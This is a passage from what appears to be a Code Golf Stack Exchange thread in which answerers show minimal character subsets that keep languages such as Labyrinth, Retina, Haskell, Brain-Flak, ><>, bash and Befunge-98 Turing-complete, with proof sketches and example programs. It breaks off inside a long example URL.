Labyrinth doesn't have explicit control flow, but instead the control flow is determined by the layout of the code. We require the spaces and linefeeds to do that layouting. First, note that `~~` is a no-op, as the two `~` effectively cancel. We can use this to have arbitrarily long paths in the code, as long as their length is even. We can now use the following construction to translate `AA[BB]CC` into Labyrinth (I'm using double letters so that the size of each snippet in Labyrinth is even, as guaranteed by the invariant): ``` ~~~~ ~ ~~~ AA~~..~~~~ ~CC ~ ~ ~ ~ ~ ~ ~~~BB~~ ``` Here, `..` is a suitable number of `~` which matches the width of `BB`. Again, note that the width of the construction remains even. We can now go through how this loop works. The code is entered via the `AA`. The first `~~` does nothing and lets us reach the junction. This roughly corresponds to the `[`: * If the current cell value is zero, the IP continues straight ahead, which will ultimately skip `BB`. The `..` part is still a no-op. Then we reach a single `~` at another junction. We now *know* that the current value is non-zero, so the IP does take the turn north. It goes around the bend at the top, until it reaches another junction after six `~`. So at that point the current value is *still* non-zero and the IP takes the turn again to move east towards the `CC`. Note that the three `~` before the `CC` return the current value to `0`, as it should be when the loop was skipped. * If the current cell value at the beginning of the loop is non-zero, the IP takes the turn south. It runs six more `~` before reaching `BB` (which do nothing), and then another six `~` before reaching the next junction. This roughly corresponds to the `]`. + If the current cell is zero, the IP keeps moving north. The next `~` makes the value non-zero, so that the IP takes this second junction, which merges the path with the case that the loop was skipped completely. Again, the three `~` return the value to zero before reaching `CC`. + If the current cell is non-zero, the IP takes the turn west. There are `~` before the next junction, which means that at this point the current value is zero so that the IP keeps going west. Then there will be an odd number of `~` before the IP reaches the initial junction again, so that the value is returned `-1` and the IP moves south into the next iteration. If the program contains any loops, then the very first `AA` needs to be extended to the top of the program so that the IP finds the correct cell to start on: ``` ~ ~~~~ ~ ~ ~~~ AA~~..~~~~ ~CC ~ ~ ~ ~ ~ ~ ~~~BB~~ ``` That's that. Note that programs resulting from this reduction will never terminate, but that is not part of the requirements of Turing-completeness (consider Rule 101 or Fractran). Finally, we're left with the question whether this is optimal. In terms of workload characters, I doubt that it's possible to do better than three commands. I could see an alternative construction based on Minsky machines with two registers, but that would require `=()` or `=-~`, having only one stack-manipulation command but then two arithmetic commands. I'd be happy to be proven wrong on this. :) As for the layout commands, I believe that linefeeds are necessary, because useful control flow is impossible on a single line. However, spaces aren't technically necessary. In theory it might be possible to come up with a construction that fills the entire grid with `~{}` (or `=()` or `=-~`), or makes use of a ragged layout where lines aren't all the same length. However, writing code like that is incredibly difficult, because Labyrinth will then treat every single cell as a junction and you need to be really careful to keep the code from branching when you don't want it to. If anyone can prove or disprove whether omitting the space is possible for Turing-completeness, I'd be happy to give out a sizeable bounty for that. :) [Answer] # CJam, 3 characters *Removed `)` as per Martin Ender's suggestion* ``` '(~ ``` Similar to the Python one given as an example. Using `'~` you can obtain the `~` character. Then using `(`, you can decrement it in order to get whatever character you want (`~` is the last printable ASCII character). `~` evals any string as normal CJam code. Strings can be constructed by obtaining the character `[` (through decrementing `~`), eval'ing it, putting some sequence of other characters, then eval'ing the character `]`. Through this, you can build and execute any CJam program using only these three characters. [Calculating 2+2 using only `'(~`](https://tio.run/nexus/cjam#@69ep0EY1BGlimhAXdNobT5NXEuEoXV1//8DAA) [Answer] ## [Retina](https://github.com/m-ender/retina), 6 characters ``` $%`{¶ ``` As well as linefeeds (0x0A). On one hand I'm surprised that I was able to get it this low. On the other hand, I'm very unhappy with the inclusion of `%¶`. Each of `$`{` is reused for two or even three purposes, but `%¶` *together* serve only one purpose. That makes them seem rather wasteful and slightly destroys the elegance of the approach. I hope that there's a way to beat this construction. On to the proof. I'm going to describe a simple way to translate [cyclic tag systems](https://en.wikipedia.org/wiki/Tag_system#Cyclic_tag_systems) to Retina using the above characters. First off, we'll be using ``` and `{` for the binary alphabet instead of `0` and `1`. These are convenient, because they don't need to be escaped in a regex, but they have meaning either for Retina or in substitution syntax. I'm using ``` for `0` and `{` for `1`, but this choice is arbitrary. Furthermore, we're going to reverse the string (and the productions) in memory, because working with the last character lets us use `$` and `$`` instead of `^` and `$'`, maximising character reuse. If the initial word is denoted by `S` and the `i`th (reversed) production is called `pi`, the resulting program will look like this: ``` S {` {$ ¶p1$%`` ``$ {$ ¶p2$%`` ``$ {$ ¶p3$%`` ``$ ... ``` This construction inevitably grows in memory each time a production is applied, and it is unlikely to terminate – in fact, at the point where the cyclic tag system would terminate (when the working string becomes empty), the behaviour of the resulting Retina program becomes basically undefined. Let's look at what the program does: ``` S ``` We start by initialising the working string to the initial word. ``` {` ``` This wraps the remainder of the program in a that runs until it fails to change the resulting string (hey, naive built-in infinite-loop detection for free...). The two linefeed there aren't really necessary, but they separate the loop more clearly from the individual productions. The rest of the program goes through each of the productions, and due to the loop we're effectively processing them cyclically over and and over. Each production is processed by two stages. First we deal with the case that the leading (or in our case trailing) symbol is `{`, in which case we use the production: ``` {$ ¶pi$%`` ``` The regex only matches if the string ends in `{`. If that is the case, we replace it with: * A linefeed (`¶`). We'll only ever be working with the last line of the working string, so this effectively discards the working string so far (which is why the memory usage of the program will grow and grow). * The current production (`pi`), which we're hereby prepending to the working string (where the cyclic tag system appends it). * The previous remaining working string (`$%``). This is why we need to insert the `¶`: `$%`` picks up everything left of the match, but only on the same line. Hence, this doesn't see all the junk we've left from earlier productions. This trick lets us match something at the *end* of the working string to insert something at the *beginning* of the working string, without having to use something like `(.+)` and `$1` which would significantly blow up the number of characters we need. * A single backtick (```). This effectively replaces the `{` (`1`-symbol) we matched with a ``` (`0`-symbol) so that the next stage doesn't need to know whether we already processed the current production or not. The second part of each production is then the trivial case where the production is skipped: ``` ``$ ``` We simply delete a trailing ```. The reason we need two ``` on the first line is that Retina considers the first backtick to be the divider between configuration and regex. This simply gives it an empty configuration so that we can use backticks in the regex itself. [Answer] # Haskell, ~~5~~ 7 characters ``` ()\->=; ``` As a functional language Haskell of course has lambdas, so simulating the lambda calculus is easy. The syntax for lambdas is `(\`*`variable`*`->`*`body`*`)`*`argument`* so we need at least the characters `()\->`. Additionally, we need an unlimited amount of variable symbols to be able to build arbitrary lambda expressions. Luckily we don't need any new characters for this, because `(>)`, `(>>)`, `(>>>)`, ..., are all valid variable names. In fact every combination of `\->` inside parenthesis is a valid variable name, with the exception of just `\` and `->`, which are reserved for lambda expressions, and `--`, which starts a line comment. **Examples:** * **S** = `(\(>)(\\)(-)->(>)(-)((\\)(-)))` types to `(t2 -> t -> t1) -> (t2 -> t) -> t2 -> t1` * **K** = `(\(>)(-)->(>))` types to `t -> t1 -> t` * **I** = `(\(>)->(>))` types to `t -> t` **Edit:** However, as [ais523](https://codegolf.stackexchange.com/users/62131/ais523) has pointed out in the comments, this construction implements [typed lambda calculus](https://en.wikipedia.org/wiki/Typed_lambda_calculus), which by itself is not Turing-complete because it lacks the ability to enter infinite loops. To fix this, we need some function that performs recursion. So far we used unnamed lambdas, which can't call themselves, because, well, they don't have a name. So we have to add the characters `=` and `;` to implement a `fix` function: ``` (>)=(\(-)->(-)((>)(-))); -- equivalent to: f =(\ x -> x ( f x )); ``` With this declaration our lambda calculus becomes Turing complete, however having added `=` and `;`, we don't need lambdas anymore, as you can see in [nimi's answer](https://codegolf.stackexchange.com/a/110687/56433) which uses just `()=;`. [Answer] # [Brain-Flak](https://github.com/DJMcMayhem/Brain-Flak), 6 characters ``` (){}[] ``` Brain-Flak is a minimalist language with only 8 available characters. However it can be proven that there exists a subset of Brain-Flak that is also Turing complete using only 6 characters. First thing we will do is implement a Minsky Machine with only one stack of Brain-Flak. If we can prove that a Minsky Machine is possible with only one stack we can show that Brain-Flak is Turing complete without the `<>` and `[]` nilads. This wont save any characters immediately but will in the future when we show that `<...>` is not necessary. A Minsky Machine is a type of Turing complete automaton that has a finite number of unbounded registers and two instrutions: * Increment the a register * If non-zero decrement otherwise transition to a specified instruction To set up a goto structure in Brain-Flak we can use the following snippet: ``` (({}[()])[(())]()){(([({}{})]{}))}{}{(([({}{}(%s))]{}))}{} ``` This will decrement the counter and run `%s` if zero. A bunch of these chained together will allow us to put a number on the stack that will indicate which line we want to goto. Each of these will decrement the top of the stack but only one of them will actually run the code. We use this as a wrapper for all of our Minsky Machine instructions. Incrementing a particular register is pretty easy without switching the stack. It can be achieved with this string formula: ``` "({}<"*n+"({}())"+">)"*n ``` For example to increment the 3rd register we would write the following code: ``` ({}<({}<({}<({}())>)>)>) ``` Now we just have to implement the second operation. Checking if a number is zero is pretty simple in Brain-Flak: ``` (({})){(<{}%s>)}{} ``` will only execute `%s` if the TOS is zero. Thus we can make our second operation. Since Minsky Machines are Turing complete Brain-Flak is also Turing complete without the use of the `<>` and `[]` operations. However we have not reduced the number of characters yet because `<...>` and `[...]` are still in use. This can be remedied with simple substitution. Since `<...>` is actually equivalent to `[(...)]{}` in all cases. Thus Brain-Flak is Turing complete without the use of the `<` and `>` characters (plus all the no-ops). [Answer] ## [><>](https://esolangs.org/wiki/Fish), 3 characters ><> is doable in 3 with `1p-`, which do: ``` 1 Push 1 p Pop y, x, c and put the char c in cell (x, y) of the codebox - Subtraction: pop y, x and push x-y ``` `p` provides reflection, modifying the 2D source code by placing chars into the codebox. With `1-`, you can push any number onto the stack since `1-` subtracts one and `111-1--` (`x-(1-1-1) = x+1`) adds one. Once all the `1p-` commands have executed, the instruction pointer wraps around, allowing it to execute the "real" code. An example program that calculates the Fibonacci numbers (from [this answer](https://codegolf.stackexchange.com/a/52685/21487)) is: ``` 111-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1--11-11-p111-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1--111-p111-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1--111-1--11-p111-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1--111-1-1--11-p111-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1--111-1-1-1--11-p111-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1--111-1-1-1-1--11-p111-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1--11-1p111-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1--11p111-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1--111-1--1p111-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1--111-1-1--1p111-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1--111-1-1-1--1p111-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1--111-1-1-1-1--1p111-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1--111-1-1-1-1-1--1p111-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1--111-1-1-1-1-1-1--1p111-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1--111-1-1-1-1-1-1-1--1p111-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1--111-1-1-1-1-1-1-1-1--1p111-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1--111-1-1-1-1-1-1-1-1-1--1p111-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1--111-1-1-1-1-1-1-1-1-1-1--1p111-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1--111-1-1-1-1-1-1-1-1-1-1-1--1p111-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1--111-1-1-1-1-1-1-1-1-1-1-1-1--1p111-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1--111-1-1-1-1-1-1-1-1-1-1-1-1-1--1p111-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1--111-1-1-1-1-1-1-1-1-1-1-1-1-1-1--1p ``` [Try it online!](https://tio.run/nexus/fish#3ZRBDoAwCARftAd@5v8vGGui1lqbNIUlpHeGAbYqIrB9OAiCzZ5UWE4kF5NzeJl8jI1wF04zuSn7MP4l/Zb7Xlz7yp3ff@XAq3JBvorXlZK6QY2lT6XpaFlPaIsQbfEFhlGKw3ijhw1wdyTzNO74k0i/34F/xMw9OlPdAQ) Once all the `1p-` commands have executed, the codebox looks like this: ``` 01aa+v1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1- ... @+&1->:?!;&:nao: ``` Barring everything after the `v` on the first line, this is a standard Fibonacci ><> program. [Answer] # [Incident](http://esolangs.org/wiki/Incident), 2 characters It doesn't matter which two characters you pick, either; any combination of two octets is Turing-complete in Incident. Actually *proving* this is much more difficult than you might expect, and at the time of writing, the [discussion page on Esolang about Incident](http://esolangs.org/wiki/Talk:Incident) is devoted to the problem. I'll try to give a summary of the simplest known proof below, though. Before the proof, some background. Incident infers the tokens used in the program by looking at the source (a token is a string that appears exactly three times in the source, isn't a substring of another token, and doesn't overlap with another potential token). As such, any program can be converted to use pretty much any character set by changing what the tokens are; the language is Turing-complete (and has completeness for I/O, too!), despite being incredibly difficult to program in, so "all" you need is a method of encoding tokens so that they work with just two characters. And now, here's a summary of the proof (which was found by Ørjan, Esolang's resident mathematician). The idea is that we encode a token using two copies of one character (say `1`) in a large sea of the other character (say `0`). The distance between the `1`s differs for each token, but is always a multiple of 4. Then for the padding between the tokens, we use an extra list of `0`s with a `1` in the middle, but the number of 0s on each side of the `1` is *not* a multiple of 4, but rather a number unique to that particular incidence of the program that doesn't appear elsewhere in the program. That means that each `1`…`1` within the padding can only ever appear twice, so won't be part of a token; each intended token contains exactly two 1s, and no bogus token can contain more than one `1`. Then we just add some padding to the side to remove all possible tokens containing one `1` or zero `1`s by adding at least four copies of them. [Answer] # bash, 9 characters ``` 01456\$ ' ``` Bash has a syntax `$'\nnn'` for entering characters with their octal ascii values. We can enter the `eval` command in this format as `$'\145\166\141\154'`. We first turn the desired result into its octal values. We then convert any octal values using digits other than 0, 1, 4, 5, and 6 into expressions evaluating to said octal values using `$(())` and subtraction, appending an `eval` to the front. In our final step, we add another `eval` and convert the parentheses and minus sign into their octal values. Using this method we can execute any bash command, so this subset is turing complete. Example: `dc` becomes `$'\144\143'` which becomes `$'\145\166\141\154' \$\'\\144\\$((144-1))\'` which becomes `$'\145\166\141\154' $'\145\166\141\154' $'\$\\\'\\\\144\\\\$\050\050144\0551\051\051\\\''` [Answer] # [Retina](https://github.com/m-ender/retina), 3 characters ``` {` ``` and newline. First off, we need newline to be able to do substitutions (necessary unless we want to fit the whole program into one regex, which would need more characters); and ``` and `{` are the least character-intensive way to do loops. It turns out we don't need anything else. Our target language to implement is a deterministic variant of [Thue](http://esolangs.org/wiki/Thue) (the nondeterminism isn't necessary for Turing-completeness; it's possible to write a Thue program to work correctly regardless of which evaluation order is used). The basic idea is to compile `pattern::=replacement` into ``` `pattern replacement ``` (which is a direct Retina translation of the Thue; alternatively, if you know Retina but not Thue, you can use it as a method of learning how Thue works); as an exception, the very first pattern is preceded by `{`` instead (in order to place the entire program into a loop; Thue programs continue running until no more substitutions are possible, and this causes the Retina to work the same way). Of course, this means that we need to prove Thue Turing-complete with just `{` and ``` in the patterns and replacement, but that's simple enough; we replace a character with ascii code *n* with ```, *n*+1 `{`, and another ```. It's clearly impossible for a pattern to match anywhere but at character boundaries, so this will end up doing the same thing as the original program. [Answer] # Stack-based concatenative languages, 4 characters ## [Underload](http://esolangs.org/wiki/Underload) ``` ():^ ``` ## [GolfScript](http://www.golfscript.com/) ``` {}.~ ``` ## [CJam](https://sourceforge.net/p/cjam/wiki/) ``` {}_~ ``` ## [GS2](https://github.com/nooodl/gs2) * backspace, tab, `@`, space (I knew GS2 used unprintables a lot, but this is ridiculous…) ## [dc](https://www.gnu.org/software/bc/manual/dc-1.05/html_mono/dc.html) (suggested by @seshoumara) ``` []dx ``` Underload has been proven Turing-complete with only the use of `():^` (thanks to Esolang's resident mathematician Ørjan). The proof is far too long to explain here, but if you're interested, you can read about it [here](http://esolangs.org/wiki/Underload#Underload_minimization). The commands in question are `()` (place code literal on the stack), `:` (duplicate top stack element), and `^` (evaluate top of stack). These commands are fairly common in stack-based languages (especially concatenative languages), and so I've given something of a collection of them above; these languages are all Turing-complete in 4 characters for the same reason as Underload. [Answer] # Befunge-98, 3 characters As far as I know, Befunge-98 is supposed to be turing complete, so we just need to show how any Befunge-98 program can be generated using just three characters. My initial solution relied on the following four characters: ``` 01+p ``` We can get any positive integer onto the stack by adding multiple `1` values together with the `+` command, and for zero we simply use `0`. Once we have the ability to push any number we want, we can then use the `p` (put) command to write any ASCII value to any location in the Befunge playfield. However, as [Sp3000](https://codegolf.stackexchange.com/users/21487/sp3000) pointed out, you can actually get by with just the three characters: ``` 1-p ``` Any negative number can be calculated by starting with `1` and then repeatedly subtracting `1` (for example, -3 would be `11-1-1-1-`). Then any positive number can be represented by subtracting 1-n from 1, where 1-n is a negative number which we already know how to handle (for example, 4 = 1-(-3), which would be `111-1-1-1--`). We can thus use our three characters to write a kind of bootloader that slowly generates the actual code we want to execute. Once this loader is finished executing, it will wrap around to the start of the first line of the playfield, which should at that point hold the start of our newly generated code. As an example, here's a bootloader that generates the Befunge code necessary to sum 2+2 and output the result: [`22+.@`](http://befunge-98.tryitonline.net/#code=MTExLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtLTExLTExLXAxMTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0tMTExLS0xMS1wMTExLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLS0xMTEtMS0tMTEtcDExMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0tMTExLTEtMS0tMTEtcDExMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0tMTExLTEtMS0xLS0xMS1w&input=) And for a slightly more complicated example, this is "Hello World": [`"!dlroW olleH"bk,@`](http://befunge-98.tryitonline.net/#code=MTExLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLS0xMS0xMS1wMTExLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0tMTExLS0xMS1wMTExLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLS0xMTEtMS0tMTEtcDExMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtLTExMS0xLTEtLTExLXAxMTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLS0xMTEtMS0xLTEtLTExLXAxMTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLS0xMTEtMS0xLTEtMS0tMTEtcDExMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtLTExMS0xLTEtMS0xLTEtLTExLXAxMTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0tMTExLTEtMS0xLTEtMS0xLS0xMS1wMTExLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0tMTExLTEtMS0xLTEtMS0xLTEtLTExLXAxMTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLS0xMTEtMS0xLTEtMS0xLTEtMS0xLS0xMS1wMTExLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0tMTExLTEtMS0xLTEtMS0xLTEtMS0xLS0xMS1wMTExLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtLTExMS0xLTEtMS0xLTEtMS0xLTEtMS0xLS0xMS1wMTExLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0tMTExLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0tMTEtcDExMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0tMTExLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLS0xMS1wMTExLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTE